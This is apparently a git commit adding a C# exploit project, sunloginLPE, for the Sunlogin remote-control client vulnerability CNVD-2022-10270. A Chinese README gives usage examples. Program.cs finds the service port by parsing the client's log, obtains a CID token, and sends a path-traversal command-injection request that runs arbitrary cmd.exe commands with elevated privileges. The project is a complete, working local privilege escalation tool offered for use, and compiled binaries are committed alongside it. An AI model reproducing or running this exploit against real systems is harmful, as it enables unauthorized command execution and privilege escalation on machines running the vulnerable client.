CNVD-2022-10270-LPE

2022-02-24 10:34:31 +08:00
parent 125fe93713
commit f17f0c470a
38 changed files with 563 additions and 0 deletions
--- a/README.md
+++ b/README.md
@@ -1,2 +1,31 @@
 # CNVD-2022-10270-LPE
+
+## 用法
+
 基于向日葵RCE的本地权限提升，无需指定端口
+
+Usage：sunloginLPE.exe Cmd [sunloginClientPath]
+
+sunloginClientPath 选填，若不是默认安装路径则需要指定，默认安装路径：C:\Program Files\Oray\SunLogin\SunloginClient
+
+如 sunloginLPE.exe "whoami"
+
+![image-20220224102724040](https://gitee.com/tboom_is_here/pic/raw/master/2021-10-21/20220224102724.png)
+
+如 sunloginLPE.exe "net user"
+
+![image-20220224102826549](https://gitee.com/tboom_is_here/pic/raw/master/2021-10-21/20220224102826.png)
+
+若指定路径如 sunloginLPE.exe "whoami" "C:\Program Files\Oray\SunLogin\SunloginClient"
+
+![image-20220224102912848](https://gitee.com/tboom_is_here/pic/raw/master/2021-10-21/20220224102912.png)
+
+## 无需指定端口的原因
+
+现在流传的方法是扫描40000-60000的端口，但实际上跟着IDA分析过程会看到生成端口并绑定服务时有写入的动作，最终写入的文件是
+
+sunlogin_service.xxx.log，指定端口如下：
+
+![image-20220224103301658](https://gitee.com/tboom_is_here/pic/raw/master/2021-10-21/20220224103301.png)
+
+因此只需要在去读最新的日志文件并进行正则匹配，就不需要进行端口扫描。
--- a/sunloginLPE.sln
+++ b/sunloginLPE.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.0.32014.148
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "sunloginLPE", "sunloginLPE\sunloginLPE.csproj", "{B9D73D1C-9711-4C02-87C0-743E2B8E623E}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Debug|x64 = Debug|x64
+		Release|Any CPU = Release|Any CPU
+		Release|x64 = Release|x64
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{B9D73D1C-9711-4C02-87C0-743E2B8E623E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{B9D73D1C-9711-4C02-87C0-743E2B8E623E}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{B9D73D1C-9711-4C02-87C0-743E2B8E623E}.Debug|x64.ActiveCfg = Debug|x64
+		{B9D73D1C-9711-4C02-87C0-743E2B8E623E}.Debug|x64.Build.0 = Debug|x64
+		{B9D73D1C-9711-4C02-87C0-743E2B8E623E}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{B9D73D1C-9711-4C02-87C0-743E2B8E623E}.Release|Any CPU.Build.0 = Release|Any CPU
+		{B9D73D1C-9711-4C02-87C0-743E2B8E623E}.Release|x64.ActiveCfg = Release|x64
+		{B9D73D1C-9711-4C02-87C0-743E2B8E623E}.Release|x64.Build.0 = Release|x64
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {4D889B15-7E48-4459-8DD6-A58713701360}
+	EndGlobalSection
+EndGlobal
--- a/sunloginLPE/App.config
+++ b/sunloginLPE/App.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup> 
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
+    </startup>
+</configuration>
--- a/sunloginLPE/Program.cs
+++ b/sunloginLPE/Program.cs
@@ -0,0 +1,149 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Text.RegularExpressions;
+using System.Net;
+
+namespace sunloginLPE
+{
+
+    internal class Program
+    {
+        static string GetLatestFiles(string Path, int count)
+        {
+            var query = (from f in Directory.GetFiles(Path)
+                         let fi = new FileInfo(f)
+                         orderby fi.CreationTime descending
+                         select fi.FullName).Take(count);
+            string[] files = query.ToArray();
+            for (int i = 0; i < files.Length; i++)
+            {
+                if (files[i].Contains("sunlogin_service."))
+                {
+                    return files[i];
+                }
+            }
+            Console.WriteLine("[-] logFile not found");
+            return "";
+        }
+        static string getPort(string path)
+        {
+            string logFile = GetLatestFiles(path + "\\log", 2);
+            string port = "";
+            string s;
+            if (logFile != "")
+            {
+                FileStream fs = new FileStream(logFile, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
+                StreamReader sr = new StreamReader(fs, System.Text.Encoding.Default);
+                s  = sr.ReadToEnd();
+                string pattern = @"\bstart listen OK\S*\,";
+                string pattern2 = @"\d{5}";
+                string res = "";
+                MatchCollection mc = Regex.Matches(s, pattern);
+                foreach (Match m in mc)
+                    res = m.Value;
+                MatchCollection mc2 = Regex.Matches(res, pattern2);
+                foreach (Match m2 in mc2)
+                    port = m2.Value;
+            }
+            return port;
+
+        }
+
+        private static String HttpGet(string url, string requestData)
+        {
+            // 实例化请求对象
+            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
+            request.Method = "GET";
+            request.ContentType = "text/html; charset=UTF-8";
+
+            // 实例化响应对象，获取响应信息
+            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
+            Stream responseStream = response.GetResponseStream();
+            StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
+            String result = sReader.ReadToEnd();
+            sReader.Close();
+            responseStream.Close();
+            return result;
+        }
+
+        private static String HttpGetWithCookie(string url, string requestData,string cookie)
+        {
+            // 实例化请求对象
+            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
+            request.Method = "GET";
+            request.ContentType = "text/html; charset=UTF-8";
+            request.Headers.Add("Cookie", "CID=" + cookie);
+
+            // 实例化响应对象，获取响应信息
+            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
+            Stream responseStream = response.GetResponseStream();
+            StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
+            String result = sReader.ReadToEnd();
+            sReader.Close();
+            responseStream.Close();
+            return result;
+        }
+        static string exp(string SunloginClient_port,string ExecCmd)
+        {
+            String targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/cgi-bin/rpc";
+            String response = HttpGet(targetUrl, "action=verify-haras");
+            string pattern = "verify_string\":\"(\\w+)?\"";
+            string cid = "";
+            MatchCollection mc = Regex.Matches(response, pattern);
+            foreach (Match m in mc)
+                cid = m.Value;
+            cid = cid.Replace("\"", "").Replace("verify_string:", "");
+            Console.WriteLine("[+] CID=" +cid);
+
+            targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/check";
+            response = HttpGetWithCookie(targetUrl, "cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows\\system32\\cmd.exe+/c+" + ExecCmd.Replace(" ","+"),cid);
+
+            return response;
+        }
+        static void Main(string[] args)
+        {
+            
+            Console.WriteLine("[!] Usage: sunloginLPE.exe Cmd [sunloginClientPath]（DefaultPath = C:\\Program Files\\Oray\\SunLogin\\SunloginClient）");
+            string defaultPath = "C:\\Program Files\\Oray\\SunLogin\\SunloginClient";
+            string cmd = "";
+            string path = defaultPath;
+            string port = "";
+            if(args.Length  == 1)
+            {
+                cmd = args[0];
+            }
+            else if(args.Length == 2)
+            {
+                cmd=args[0];
+                path =args[1];
+            }
+            else
+            {
+                Console.WriteLine("[-] wrong number of parameters");
+                System.Environment.Exit(0);
+            }
+            try
+            {
+                port = getPort(path);
+                if(port != "")
+                {
+                    Console.WriteLine("[+] SunloginClient port is " + port);
+                }
+                else
+                {
+                    Console.WriteLine("[-] SunloginClient port not found");
+                    System.Environment.Exit(0);
+                }
+                Console.WriteLine("[+] 命令执行结果: \n" + exp(port, cmd));
+            }
+            catch(Exception ex)
+            {
+                Console.WriteLine("[-] " + ex.ToString());
+            }
+        }
+    }
+}
--- a/sunloginLPE/Properties/AssemblyInfo.cs
+++ b/sunloginLPE/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// 有关程序集的一般信息由以下
+// 控制。更改这些特性值可修改
+// 与程序集关联的信息。
+[assembly: AssemblyTitle("sunloginLPE")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("sunloginLPE")]
+[assembly: AssemblyCopyright("Copyright ©  2022")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// 将 ComVisible 设置为 false 会使此程序集中的类型
+//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
+//请将此类型的 ComVisible 特性设置为 true。
+[assembly: ComVisible(false)]
+
+// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID
+[assembly: Guid("b9d73d1c-9711-4c02-87c0-743e2b8e623e")]
+
+// 程序集的版本信息由下列四个值组成: 
+//
+//      主版本
+//      次版本
+//      生成号
+//      修订号
+//
+//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值
+//通过使用 "*"，如下所示:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
--- a/sunloginLPE/Properties/Resources.Designer.cs
+++ b/sunloginLPE/Properties/Resources.Designer.cs
@@ -0,0 +1,63 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     此代码由工具生成。
+//     运行时版本:4.0.30319.42000
+//
+//     对此文件的更改可能会导致不正确的行为，并且如果
+//     重新生成代码，这些更改将会丢失。
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace sunloginLPE.Properties {
+    using System;
+    
+    
+    /// <summary>
+    ///   一个强类型的资源类，用于查找本地化的字符串等。
+    /// </summary>
+    // 此类是由 StronglyTypedResourceBuilder
+    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
+    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen
+    // (以 /str 作为命令选项)，或重新生成 VS 项目。
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
+    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    internal class Resources {
+        
+        private static global::System.Resources.ResourceManager resourceMan;
+        
+        private static global::System.Globalization.CultureInfo resourceCulture;
+        
+        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+        internal Resources() {
+        }
+        
+        /// <summary>
+        ///   返回此类使用的缓存的 ResourceManager 实例。
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Resources.ResourceManager ResourceManager {
+            get {
+                if (object.ReferenceEquals(resourceMan, null)) {
+                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("sunloginLPE.Properties.Resources", typeof(Resources).Assembly);
+                    resourceMan = temp;
+                }
+                return resourceMan;
+            }
+        }
+        
+        /// <summary>
+        ///   重写当前线程的 CurrentUICulture 属性，对
+        ///   使用此强类型资源类的所有资源查找执行重写。
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Globalization.CultureInfo Culture {
+            get {
+                return resourceCulture;
+            }
+            set {
+                resourceCulture = value;
+            }
+        }
+    }
+}
--- a/sunloginLPE/Properties/Resources.resx
+++ b/sunloginLPE/Properties/Resources.resx
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>
--- a/sunloginLPE/bin/x64/Debug/sunloginLPE.exe
+++ b/sunloginLPE/bin/x64/Debug/sunloginLPE.exe
--- a/sunloginLPE/bin/x64/Debug/sunloginLPE.exe.config
+++ b/sunloginLPE/bin/x64/Debug/sunloginLPE.exe.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup> 
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
+    </startup>
+</configuration>
--- a/sunloginLPE/bin/x64/Debug/sunloginLPE.pdb
+++ b/sunloginLPE/bin/x64/Debug/sunloginLPE.pdb
--- a/sunloginLPE/bin/x64/Release/sunloginLPE.exe
+++ b/sunloginLPE/bin/x64/Release/sunloginLPE.exe
--- a/sunloginLPE/bin/x64/Release/sunloginLPE.exe.config
+++ b/sunloginLPE/bin/x64/Release/sunloginLPE.exe.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup> 
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
+    </startup>
+</configuration>
--- a/sunloginLPE/bin/x64/Release/sunloginLPE.pdb
+++ b/sunloginLPE/bin/x64/Release/sunloginLPE.pdb
--- a/sunloginLPE/obj/Debug/.NETFramework,Version=v4.6.AssemblyAttributes.cs
+++ b/sunloginLPE/obj/Debug/.NETFramework,Version=v4.6.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+// <autogenerated />
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")]
--- a/sunloginLPE/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
+++ b/sunloginLPE/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--- a/sunloginLPE/obj/Debug/sunloginLPE.csproj.AssemblyReference.cache
+++ b/sunloginLPE/obj/Debug/sunloginLPE.csproj.AssemblyReference.cache
--- a/sunloginLPE/obj/x64/Debug/.NETFramework,Version=v4.6.AssemblyAttributes.cs
+++ b/sunloginLPE/obj/x64/Debug/.NETFramework,Version=v4.6.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+// <autogenerated />
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")]
--- a/sunloginLPE/obj/x64/Debug/DesignTimeResolveAssemblyReferences.cache
+++ b/sunloginLPE/obj/x64/Debug/DesignTimeResolveAssemblyReferences.cache
--- a/sunloginLPE/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache
+++ b/sunloginLPE/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--- a/sunloginLPE/obj/x64/Debug/TempPE/Properties.Resources.Designer.cs.dll
+++ b/sunloginLPE/obj/x64/Debug/TempPE/Properties.Resources.Designer.cs.dll
--- a/sunloginLPE/obj/x64/Debug/sunloginLPE.Properties.Resources.resources
+++ b/sunloginLPE/obj/x64/Debug/sunloginLPE.Properties.Resources.resources
--- a/sunloginLPE/obj/x64/Debug/sunloginLPE.csproj.CoreCompileInputs.cache
+++ b/sunloginLPE/obj/x64/Debug/sunloginLPE.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+976ed257c2413bac064fc36f82d651e3fe1f9bd2
--- a/sunloginLPE/obj/x64/Debug/sunloginLPE.csproj.FileListAbsolute.txt
+++ b/sunloginLPE/obj/x64/Debug/sunloginLPE.csproj.FileListAbsolute.txt
@@ -0,0 +1,9 @@
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\bin\x64\Debug\sunloginLPE.exe.config
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\bin\x64\Debug\sunloginLPE.exe
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\bin\x64\Debug\sunloginLPE.pdb
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Debug\sunloginLPE.csproj.SuggestedBindingRedirects.cache
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Debug\sunloginLPE.csproj.CoreCompileInputs.cache
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Debug\sunloginLPE.exe
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Debug\sunloginLPE.pdb
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Debug\sunloginLPE.Properties.Resources.resources
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Debug\sunloginLPE.csproj.GenerateResource.cache
--- a/sunloginLPE/obj/x64/Debug/sunloginLPE.csproj.GenerateResource.cache
+++ b/sunloginLPE/obj/x64/Debug/sunloginLPE.csproj.GenerateResource.cache
--- a/sunloginLPE/obj/x64/Debug/sunloginLPE.csproj.SuggestedBindingRedirects.cache
+++ b/sunloginLPE/obj/x64/Debug/sunloginLPE.csproj.SuggestedBindingRedirects.cache
--- a/sunloginLPE/obj/x64/Debug/sunloginLPE.exe
+++ b/sunloginLPE/obj/x64/Debug/sunloginLPE.exe
--- a/sunloginLPE/obj/x64/Debug/sunloginLPE.pdb
+++ b/sunloginLPE/obj/x64/Debug/sunloginLPE.pdb
--- a/sunloginLPE/obj/x64/Release/.NETFramework,Version=v4.6.AssemblyAttributes.cs
+++ b/sunloginLPE/obj/x64/Release/.NETFramework,Version=v4.6.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+// <autogenerated />
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")]
--- a/sunloginLPE/obj/x64/Release/TempPE/Properties.Resources.Designer.cs.dll
+++ b/sunloginLPE/obj/x64/Release/TempPE/Properties.Resources.Designer.cs.dll
--- a/sunloginLPE/obj/x64/Release/sunloginLPE.Properties.Resources.resources
+++ b/sunloginLPE/obj/x64/Release/sunloginLPE.Properties.Resources.resources
--- a/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.AssemblyReference.cache
+++ b/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.AssemblyReference.cache
--- a/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.CoreCompileInputs.cache
+++ b/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+9bfa9c713f4e194af427c150f28da06218451a8a
--- a/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.FileListAbsolute.txt
+++ b/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.FileListAbsolute.txt
@@ -0,0 +1,10 @@
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\bin\x64\Release\sunloginLPE.exe.config
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\bin\x64\Release\sunloginLPE.exe
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\bin\x64\Release\sunloginLPE.pdb
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Release\sunloginLPE.csproj.AssemblyReference.cache
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Release\sunloginLPE.csproj.SuggestedBindingRedirects.cache
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Release\sunloginLPE.Properties.Resources.resources
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Release\sunloginLPE.csproj.GenerateResource.cache
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Release\sunloginLPE.csproj.CoreCompileInputs.cache
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Release\sunloginLPE.exe
+C:\Users\test\Desktop\Code\sunloginLPE\sunloginLPE\sunloginLPE\obj\x64\Release\sunloginLPE.pdb
--- a/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.GenerateResource.cache
+++ b/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.GenerateResource.cache
--- a/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.SuggestedBindingRedirects.cache
+++ b/sunloginLPE/obj/x64/Release/sunloginLPE.csproj.SuggestedBindingRedirects.cache
--- a/sunloginLPE/obj/x64/Release/sunloginLPE.exe
+++ b/sunloginLPE/obj/x64/Release/sunloginLPE.exe
--- a/sunloginLPE/obj/x64/Release/sunloginLPE.pdb
+++ b/sunloginLPE/obj/x64/Release/sunloginLPE.pdb
--- a/sunloginLPE/sunloginLPE.csproj
+++ b/sunloginLPE/sunloginLPE.csproj
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{B9D73D1C-9711-4C02-87C0-743E2B8E623E}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <RootNamespace>sunloginLPE</RootNamespace>
+    <AssemblyName>sunloginLPE</AssemblyName>
+    <TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
+    <FileAlignment>512</FileAlignment>
+    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
+    <Deterministic>true</Deterministic>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
+    <DebugSymbols>true</DebugSymbols>
+    <OutputPath>bin\x64\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <DebugType>full</DebugType>
+    <PlatformTarget>x64</PlatformTarget>
+    <LangVersion>7.3</LangVersion>
+    <ErrorReport>prompt</ErrorReport>
+    <Prefer32Bit>true</Prefer32Bit>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
+    <OutputPath>bin\x64\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <Optimize>true</Optimize>
+    <DebugType>pdbonly</DebugType>
+    <PlatformTarget>x64</PlatformTarget>
+    <LangVersion>7.3</LangVersion>
+    <ErrorReport>prompt</ErrorReport>
+    <Prefer32Bit>true</Prefer32Bit>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Web" />
+    <Reference Include="System.Xml.Linq" />
+    <Reference Include="System.Data.DataSetExtensions" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Net.Http" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+    <Compile Include="Properties\Resources.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DesignTime>True</DesignTime>
+      <DependentUpon>Resources.resx</DependentUpon>
+    </Compile>
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="App.config" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Properties\Resources.resx">
+      <Generator>ResXFileCodeGenerator</Generator>
+      <LastGenOutput>Resources.Designer.cs</LastGenOutput>
+    </EmbeddedResource>
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project>